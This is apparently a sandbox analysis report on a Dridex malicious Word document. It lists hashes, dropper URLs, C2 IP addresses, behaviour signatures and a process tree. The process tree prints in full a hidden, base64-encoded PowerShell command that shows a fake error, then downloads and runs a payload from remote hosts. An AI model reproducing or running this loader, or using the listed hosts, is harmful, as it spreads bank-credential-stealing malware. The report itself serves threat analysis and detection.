dridex | 8880aa45619f26fcb4cca6671e7decc6dcf94163344a819a156ed9f5bd414d0b

General

Target

Information-478224510.doc
Size

127KB
MD5

bb0198d56eff259292f821cf9777f4ea
SHA1

67e6018e71d49acecab8018ec3e31388e5afdb09
SHA256

8880aa45619f26fcb4cca6671e7decc6dcf94163344a819a156ed9f5bd414d0b
SHA512

26585f0ae9576b40ff6635b464fa1cc3947e549a45f0648b4b754ef3225bb605ff5dd4926483636c85eed595102a57eacff634bef65e83cbd3dd54e823f1907f

Score

10^/10

dridex 10555 botnet discovery evasion loader trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wordpress.abbeytek.com/gb9b076.zip

exe.dropper

http://garywhitehead.com/j64cw5.rar

exe.dropper

http://test.taphoare.com/j4r7zap.rar

exe.dropper

http://deepfreedom.org/qz0h69.pdf

exe.dropper

http://forestof.life/gkd9jtb9z.png

exe.dropper

https://rockingrenergy.info/b6exhyx4.zip

exe.dropper

https://aeromiic.com/l8uvw4.pdf

exe.dropper

http://jkra.nl/ce5c6ut.pdf

exe.dropper

https://amazedelectrical.com.au/ff2e84tvk.pdf

Extracted

Family

dridex

Botnet

10555

C2

162.241.44.26:9443

192.232.229.53:4443

77.220.64.34:443

193.90.12.121:3098

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2624 3368 cmd.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2624	3368	cmd.exe

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

Processes:

resource	yara_rule
behavioral2/memory/3336-14-0x0000000004CA0000-0x0000000004CDD000-memory.dmp	dridex_ldr

Blocklisted process makes network request 3 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

22 2136 powershell.exe
28 3336 rundll32.exe
29 3336 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3336 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

rundll32.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA rundll32.exe

flow	pid	process
22	2136	powershell.exe
28	3336	rundll32.exe
29	3336	rundll32.exe

pid	process
3336	rundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

580 WINWORD.EXE
580 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2136 powershell.exe
2136 powershell.exe
2136 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2136 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

580 WINWORD.EXE
580 WINWORD.EXE
580 WINWORD.EXE
580 WINWORD.EXE
580 WINWORD.EXE
580 WINWORD.EXE
580 WINWORD.EXE

pid	process
580	WINWORD.EXE
580	WINWORD.EXE

pid	process
2136	powershell.exe
2136	powershell.exe
2136	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2136	powershell.exe

pid	process
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE
580	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 2624 wrote to memory of 1336	2624	cmd.exe	msg.exe
PID 2624 wrote to memory of 1336	2624	cmd.exe	msg.exe
PID 2624 wrote to memory of 2136	2624	cmd.exe	powershell.exe
PID 2624 wrote to memory of 2136	2624	cmd.exe	powershell.exe
PID 2136 wrote to memory of 4032	2136	powershell.exe	rundll32.exe
PID 2136 wrote to memory of 4032	2136	powershell.exe	rundll32.exe
PID 4032 wrote to memory of 3336	4032	rundll32.exe	rundll32.exe
PID 4032 wrote to memory of 3336	4032	rundll32.exe	rundll32.exe
PID 4032 wrote to memory of 3336	4032	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-478224510.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:580

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAoACcAbwBRACcAKwAnACkAJwApACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBkAGQAKQAoACcAKwAnAGIAJwApACkAKwAoACcANgAnACsAJwBlAHgAaAAnACsAJwB5AHgANAAnACkAKwAoACcALgAnACsAJwB6AGkAJwApACsAKAAnAHAAJwArACcAQABoACcAKQArACcAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAnACkAJwArACcAKAAnACsAKAAoACcAUQAnACsAJwApACgAJwApACkAKwAnAHEAZAAnACsAKAAoACcAZAAnACsAJwApACgAYQBlACcAKwAnAHIAbwBtAGkAJwApACkAKwAnAGkAJwArACcAYwAnACsAJwAuAGMAJwArACgAKAAnAG8AJwArACcAbQBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZABkACcAKwAnACkAKABsADgAdQAnACkAKQArACgAJwB2AHcAJwArACcANAAnACkAKwAnAC4AcAAnACsAJwBkAGYAJwArACcAQAAnACsAJwBoAHQAJwArACgAKAAnAHQAcAA6AFEAKQAoAHEAZABkACkAKABRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAGoAJwArACcAawAnACsAKAAoACcAcgBhACcAKwAnAC4AbgAnACsAJwBsAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKABjACcAKQApACsAKAAnAGUANQBjACcAKwAnADYAJwArACcAdQB0ACcAKQArACcALgAnACsAKAAnAHAAJwArACcAZABmAEAAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACgAJwBzADoAJwArACcAUQApACgAcQBkAGQAKQAoAFEAKQAnACsAJwAoAHEAJwApACkAKwAnAGQAZAAnACsAKAAoACcAKQAoACcAKQApACsAKAAnAGEAbQAnACsAJwBhAHoAJwApACsAKAAnAGUAZABlAGwAZQAnACsAJwBjACcAKwAnAHQAcgAnACkAKwAoACcAaQAnACsAJwBjAGEAJwApACsAKAAnAGwAJwArACcALgBjAG8AJwApACsAJwBtACcAKwAoACgAJwAuAGEAdQAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACcAKQApACsAKAAoACcAKQAoAGYAZgAnACsAJwAyACcAKQApACsAKAAnAGUAOAA0ACcAKwAnAHQAdgAnACkAKwAnAGsALgAnACsAJwBwAGQAJwArACcAZgAnACkAKQAuACIAUgBFAFAAYABMAEEAYABDAGUAIgAoACgAKAAoACgAJwBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAnACgAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAJwArACcAdwBlACcAKQApAFsAMABdACkALgAiAFMAUABMAGAAaQBUACIAKAAkAEoAYwB4ADIANQB0ADcAIAArACAAJABUAHcAbwA1AHoAdQBjACAAKwAgACQAUQAyAHUAdgBjAGwAcgApADsAJABFAGQAcAAxAHcAYQBtAD0AKAAnAFkAawAnACsAKAAnAG8AJwArACcAbQAxAGkAJwApACsAJwB5ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAQQA0AHMAdwBoAHIAegAgAGkAbgAgACQAWgB4AGkAawBqAHMAaAAgAHwAIABTAG8AcgBgAFQALQBvAGAAQgBqAGAAZQBDAFQAIAB7AGcARQBUAC0AYABSAEEATgBgAGQATwBNAH0AKQB7AHQAcgB5AHsAJABRAHEAcQBsAGgAZQA5AC4AIgBkAG8AVwBOAGwAbwBgAEEARABmAGkAYABMAGUAIgAoACQAQQA0AHMAdwBoAHIAegAsACAAJABTAG8AMgB2ADMAYgBoACkAOwAkAEkAcgByAHoAMAAwAHoAPQAoACgAJwBWADAAJwArACcAaAA5AHAAJwArACcAdAAnACkAKwAnADkAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFMAbwAyAHYAMwBiAGgAKQAuACIAbABlAGAATgBnAHQAaAAiACAALQBnAGUAIAAzADYANgA2ADEAKQAgAHsAJgAoACcAcgB1AG4AZABsAGwAJwArACcAMwAnACsAJwAyAC4AZQB4ACcAKwAnAGUAJwApACAAJABTAG8AMgB2ADMAYgBoACwAMAA7ACQARQAxAGsAaQAzAHAAbQA9ACgAKAAnAFoANQB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcANQBwACcAKQApADsAYgByAGUAYQBrADsAJABMAGoAdgA2ADMAZQBpAD0AKAAoACcAWAA4ACcAKwAnAHkAJwApACsAJwA1AHAAJwArACcAaABvACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgBqAHQAcwBvADYAdQA9ACgAKAAnAEQAXwBfACcAKwAnAGYAZgAnACkAKwAnAHAAJwArACcAagAnACkA
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2624

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:1336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgACQAcgBrAG0ANwA9AFsAVAB5AFAARQBdACgAIgB7ADEAfQB7ADMAfQB7ADAAfQB7ADUAfQB7ADIAfQB7ADQAfQAiAC0ARgAnAE0ALgAnACwAJwBTAHkAcwAnACwAJwBvAC4AJwAsACcAVABlACcALAAnAEQASQByAGUAQwBUAE8AUgBZACcALAAnAGkAJwApACAAOwAgACAAIAAkADYAYQA0ACAAIAA9ACAAIABbAFQAWQBQAEUAXQAoACIAewA1AH0AewA2AH0AewA3AH0AewAwAH0AewAzAH0AewAxAH0AewA0AH0AewAyAH0AIgAgAC0AZgAgACcALgBTAGUAcgBWAGkAJwAsACcAZQBQAE8AaQBuAFQATQAnACwAJwByACcALAAnAGMAJwAsACcAQQBuAGEARwBlACcALAAnAHMAWQBzACcALAAnAHQAZQAnACwAJwBNAC4ATgBFAHQAJwApADsAIAAkAEsAbAAwAGkAZAB3ADQAPQAoACgAJwBLACcAKwAnAF8ANwAnACkAKwAnAHYAJwArACgAJwBjACcAKwAnADcAbQAnACkAKQA7ACQAVAB3AG8ANQB6AHUAYwA9ACQASQByADMAMwBjADMAcAAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQARgBpADUAZwB5AHYAZgA7ACQAWgBxAHAAbwB2ADUAZwA9ACgAKAAnAEYAJwArACcAaQBiACcAKQArACgAJwBzAG0AaQAnACsAJwBkACcAKQApADsAIAAgACgAIABnAGMASQAgACAAKAAiAHYAIgArACIAYQBSACIAKwAiAEkAYQBiAGwARQA6AHIASwBtADcAIgApACAAIAApAC4AVgBBAGwAdQBFADoAOgAiAGMAcgBlAGEAdABlAEQAYABpAHIAZQBjAFQAYABPAHIAWQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAoACcAVgAnACsAJwBfAF8AcQByACcAKQArACcAaAA0ACcAKwAnAHsAJwArACcAMAAnACsAJwB9AFQAbwB2ADUAbgBuAHgAJwArACcAewAwAH0AJwApAC0AZgAgACAAWwBjAGgAQQByAF0AOQAyACkAKQA7ACQAQgBxAHMAOAB3ADcANwA9ACgAKAAnAFgANgAnACsAJwBiADcAJwApACsAKAAnADMAeAAnACsAJwBjACcAKQApADsAIAAgACgAIAAgAEkAdABlAG0AIAAgAHYAYQByAGkAYQBiAGwARQA6ADYAYQA0ACkALgB2AGEAbABVAEUAOgA6ACIAUwBgAEUAQwB1AFIASQBUAFkAYABQAHIAYABvAFQATwBgAGMAbwBMACIAIAA9ACAAKAAoACcAVAAnACsAJwBsAHMAJwApACsAJwAxADIAJwApADsAJABWAHIAdwB3AHIAMAB2AD0AKAAoACcASAB1AHYANQAyACcAKwAnADkAJwApACsAJwAyACcAKQA7ACQASQBhAG8AdgB2AGoAbwAgAD0AIAAoACgAJwBEACcAKwAnADkAZQBpAGQAJwApACsAJwBqADQAJwArACcAZAB2ACcAKQA7ACQATQAyADQAbABwAHYAZwA9ACgAKAAnAFIANwAnACsAJwB3ACcAKQArACgAJwByAHAAZAAnACsAJwA2ACcAKQApADsAJABRAGIAawBjADcAMABkAD0AKAAnAFQANgAnACsAJwBzADYAJwArACgAJwAyACcAKwAnAHYAegAnACkAKQA7ACQAUwBvADIAdgAzAGIAaAA9ACQASABPAE0ARQArACgAKAAnAHsAMAAnACsAJwB9AFYAJwArACcAXwAnACsAJwBfAHEAJwArACcAcgBoACcAKwAnADQAewAwAH0AVABvAHYANQAnACsAJwBuAG4AeAB7ADAAfQAnACkAIAAgAC0ARgAgACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAEkAYQBvAHYAdgBqAG8AKwAoACcALgAnACsAKAAnAGQAbAAnACsAJwBsACcAKQApADsAJABCAHoAcgA2AHkAXwBlAD0AKAAnAFIAdQAnACsAJwBqADcAJwArACgAJwBvAHkAJwArACcAcwAnACkAKQA7ACQAUQBxAHEAbABoAGUAOQA9AG4AZQBgAHcALQBgAG8AYABCAEoAZQBjAHQAIABuAGUAdAAuAFcARQBiAGMAbABJAEUAbgBUADsAJABaAHgAaQBrAGoAcwBoAD0AKAAoACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACgAKAAnACgAUQApACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAdwAnACkAKQArACcAbwByACcAKwAnAGQAJwArACgAJwBwAHIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwBzAC4AYQBiACcAKwAnAGIAZQB5AHQAZQAnACsAJwBrAC4AJwApACsAJwBjAG8AJwArACcAbQAnACsAKAAoACcAUQApACcAKwAnACgAJwArACcAcQBkAGQAKQAnACkAKQArACgAKAAnACgAZwAnACkAKQArACgAJwBiACcAKwAnADkAYgAnACkAKwAnADAAJwArACgAJwA3ADYALgAnACsAJwB6ACcAKQArACcAaQAnACsAJwBwAEAAJwArACgAJwBoAHQAdAAnACsAJwBwACcAKQArACgAKAAnADoAUQApACgAJwArACcAcQAnACkAKQArACgAKAAnAGQAZAAnACsAJwApACgAUQAnACkAKQArACcAKQAnACsAJwAoACcAKwAoACcAcQBkACcAKwAnAGQAJwApACsAKAAoACcAKQAoACcAKwAnAGcAJwApACkAKwAnAGEAcgAnACsAJwB5ACcAKwAoACcAdwBoAGkAdAAnACsAJwBlACcAKQArACgAKAAnAGgAZQBhACcAKwAnAGQALgBjAG8AbQBRACcAKwAnACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoAGoAJwApACkAKwAoACcANgA0AGMAdwAnACsAJwA1ACcAKQArACcALgByACcAKwAnAGEAcgAnACsAKAAnAEAAJwArACcAaAB0ACcAKQArACgAKAAnAHQAcAA6AFEAJwArACcAKQAoACcAKwAnAHEAZABkACcAKQApACsAKAAoACcAKQAoACcAKQApACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQAnACsAJwBkACcAKQApACsAKAAoACcAZAApACcAKwAnACgAdAAnACsAJwBlAHMAdAAnACsAJwAuAHQAYQAnACsAJwBwAGgAbwBhAHIAZQAnACsAJwAuACcAKQApACsAJwBjACcAKwAnAG8AbQAnACsAJwBRACcAKwAnACkAJwArACgAKAAnACgAcQBkACcAKwAnAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAagA0AHIAJwApACkAKwAnADcAJwArACgAJwB6ACcAKwAnAGEAcAAuACcAKQArACcAcgBhACcAKwAnAHIAJwArACcAQABoACcAKwAoACgAJwB0AHQAcAA6AFEAJwArACcAKQAnACkAKQArACcAKAAnACsAKAAoACcAcQBkACcAKwAnAGQAJwArACcAKQAoAFEAJwApACkAKwAoACgAJwApACgAJwApACkAKwAoACgAJwBxACcAKwAnAGQAZAApACgAJwApACkAKwAnAGQAJwArACgAJwBlAGUAcABmACcAKwAnAHIAJwApACsAKAAnAGUAJwArACcAZQBkAG8AJwApACsAKAAoACcAbQAuACcAKwAnAG8AcgBnAFEAJwArACcAKQAnACsAJwAoAHEAZABkACkAKAAnACkAKQArACcAcQAnACsAKAAnAHoAMABoADYAOQAuACcAKwAnAHAAJwApACsAJwBkAGYAJwArACcAQAAnACsAKAAoACcAaAAnACsAJwB0AHQAJwArACcAcAA6ACcAKwAnAFEAKQAoAHEAZABkACcAKQApACsAKAAoACcAKQAoAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQAnACsAJwBkAGQAJwApACkAKwAoACgAJwApACcAKwAnACgAZgBvACcAKQApACsAKAAnAHIAJwArACcAZQAnACsAJwBzAHQAbwBmAC4AJwApACsAKAAoACcAbABpAGYAJwArACcAZQBRACkAKAAnACkAKQArACcAcQBkACcAKwAoACgAJwBkACkAJwArACcAKAAnACkAKQArACgAJwBnACcAKwAnAGsAZAA5AGoAJwArACcAdABiADkAJwApACsAKAAnAHoALgBwAG4AJwArACcAZwBAACcAKQArACgAJwBoACcAKwAnAHQAdABwACcAKQArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxAGQAJwArACcAZAAnACkAKwAoACgAJwApACgAJwArACcAUQApACcAKQApACsAKAAoACcAKABxACcAKQApACsAKAAoACcAZAAnACsAJwBkACkAJwApACkAKwAoACgAJwAoAHIAJwArACcAbwBjAGsAaQBuACcAKQApACsAJwBnACcAKwAnAHIAJwArACgAJwBlAG4AJwArACcAZQAnACkAKwAoACcAcgAnACsAJwBnAHkALgAnACkAKwAoACcAaQAnACsAJwBuAGYAJwApACsAKAAoACcAbwBRACcAKwAnACkAJwApACkAKwAoACgAJwAoAHEAJwApACkAKwAoACgAJwBkAGQAKQAoACcAKwAnAGIAJwApACkAKwAoACcANgAnACsAJwBlAHgAaAAnACsAJwB5AHgANAAnACkAKwAoACcALgAnACsAJwB6AGkAJwApACsAKAAnAHAAJwArACcAQABoACcAKQArACcAdAAnACsAJwB0AHAAJwArACcAcwA6ACcAKwAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAnACkAJwArACcAKAAnACsAKAAoACcAUQAnACsAJwApACgAJwApACkAKwAnAHEAZAAnACsAKAAoACcAZAAnACsAJwApACgAYQBlACcAKwAnAHIAbwBtAGkAJwApACkAKwAnAGkAJwArACcAYwAnACsAJwAuAGMAJwArACgAKAAnAG8AJwArACcAbQBRACkAKAAnACsAJwBxACcAKQApACsAKAAoACcAZABkACcAKwAnACkAKABsADgAdQAnACkAKQArACgAJwB2AHcAJwArACcANAAnACkAKwAnAC4AcAAnACsAJwBkAGYAJwArACcAQAAnACsAJwBoAHQAJwArACgAKAAnAHQAcAA6AFEAKQAoAHEAZABkACkAKABRACcAKwAnACkAJwArACcAKABxAGQAJwArACcAZAAnACkAKQArACcAKQAnACsAJwAoACcAKwAnAGoAJwArACcAawAnACsAKAAoACcAcgBhACcAKwAnAC4AbgAnACsAJwBsAFEAJwArACcAKQA